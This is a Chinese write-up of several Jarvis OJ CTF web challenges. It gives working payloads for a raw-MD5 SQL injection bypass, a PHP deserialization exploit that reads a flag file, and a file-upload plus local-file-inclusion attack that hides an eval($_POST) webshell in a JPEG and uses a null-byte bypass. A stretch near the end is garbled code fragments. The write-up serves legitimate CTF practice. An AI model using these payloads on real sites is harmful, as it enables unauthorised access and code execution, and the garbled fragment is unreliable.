前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Jarvis OJ Writeup

Jarvis OJ Writeup

作者头像
wywwzjj
发布2023-05-09 14:32:34
5930
发布2023-05-09 14:32:34
举报

PORT 51

代码语言:javascript
复制
➜  ~ sudo curl --local-port 51 http://web.jarvisoj.com:32770/
<!DOCTYPE html>
<html>
<head>
<title>Web 100</title>
<style type="text/css">
    body {
    	background:gray;
    	text-align:center;
    }
</style>
</head>
<body>
    <h3>Yeah!! Here's your flag:PCTF{}</h3>	
</body>
</html>

Login

md5

header 头里面发现 hint: “select * from admin where password=’”.md5($pass,true).”‘“

代码语言:javascript
复制
md5 ( string $str [, bool $raw_output = FALSE ] ) : string
// raw 为 TRUE 时为 16 字符二进制格式,默认为 false 32 字符十六进制数

搜索一下,发现有个牛逼的字符串: ffifdyop

https://joychou.org/web/SQL-injection-with-raw-MD5-hashes.html

http://www.am0s.com/functions/204.html

传入之后,最终的 sql 语句变为 select * from admin where password=’’or’6�]��!r,��b’

成功闭合,得到万能密码,登录即可。

神盾局的秘密

反序列化

通过 /showimg.php?img=c2hvd2ltZy5waHA= 可读取源码

代码语言:javascript
复制
// showing.php
<?php
    $f = $_GET['img'];
    if (!empty($f)) {
    	$f = base64_decode($f);
    	if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE 
    	&& stripos($f,'\\')===FALSE	&& stripos($f,'pctf')===FALSE) {
    		readfile($f);
    	} else {
    		echo "File not found!";
    	}
    }
?>

// index.php
<?php 
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
    	$x = unserialize($g);
    }
    echo $x->readfile();
?>

// shield.php
<?php
    //flag is in pctf.php
    class Shield {
    	public $file;
    	function __construct($filename = '') {
    		$this -> file = $filename;
    	}
    	
    	function readfile() {
    		if (!empty($this->file) && stripos($this->file,'..')===FALSE  
    		&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
    			return @file_get_contents($this->file);
    		}
    	}
    }
?>

构造利用的 pop 链即可,payload

代码语言:javascript
复制
/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

inject

有反引号的注入

详见 https://cloud.tencent.com/developer/article/2283088

Easy Gallery

upload + lfi

扫了一遍目录,没发现什么文件,尝试 filter 读源码,也失败了

主题界面是一个图片上传,再加一个展示界面

配置信息给的这么清晰,有点可疑,然而并没有找到什么有用的洞

Apache/2.4.18 (Unix) OpenSSL/1.0.2h PHP/5.6.21 mod_perl/2.0.8-dev Perl/v5.16.3

Warning: fopen(submi.php): failed to open stream: No such file or directory in /opt/lampp/htdocs/index.php on line 24

按理说是可以文件包含,php://filter/read=convert.base64-encode/resource=index

然而显示 Cross domain forbidden!,估计是加了啥子 waf,此路不通

fopen() 时应该是拼接了一个 “.php”,这里可以用 %00 绕过

fopen(index.jj): failed to open stream 绕过成功

图片只能上传 jpg ,所以直接抓包在后面再个一句话,然后用 fopen() 去包含

但是,注意是但是,这里有个坑,不能用 <?php,有 waf,要用 eval($_POST1)

然后 page=uploads/1552805580.jpg%00 自动出 flag,都不需要菜刀

pass,true)."'"</p> <p>​ md5 ( string _COOKIE"role")) {</p> <p>​ hsh = _COOKIE"hsh";</p> <p>​ if (role==="admin" && $``$salt.strrev( _COOKIE"role"))) {</p> <p>​ auth = false;</p> <p>​ }</p> <p>​ } else {</p> <p>​ s);</p> <p>​ _GET'id') {</p> <p>​ header('Location: index.php?id=1');</p> <p>​ exit();</p> <p>​ }</p> <p>​ a= _GET'a';</p> <p>​ b= _GET'b';</p> <p>​ if(stripos(a,'.')) {</p> <p>​ echo 'Hahahahahaha';</p> <p>​ return ;</p> <p>​ }</p> <p>​ data=="1112 is a nice lab!" and b)>5 </p> <p>​ and eregi("111".substr(

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2019/02/02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • PORT 51
  • Login
  • 神盾局的秘密
  • inject
  • Easy Gallery
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档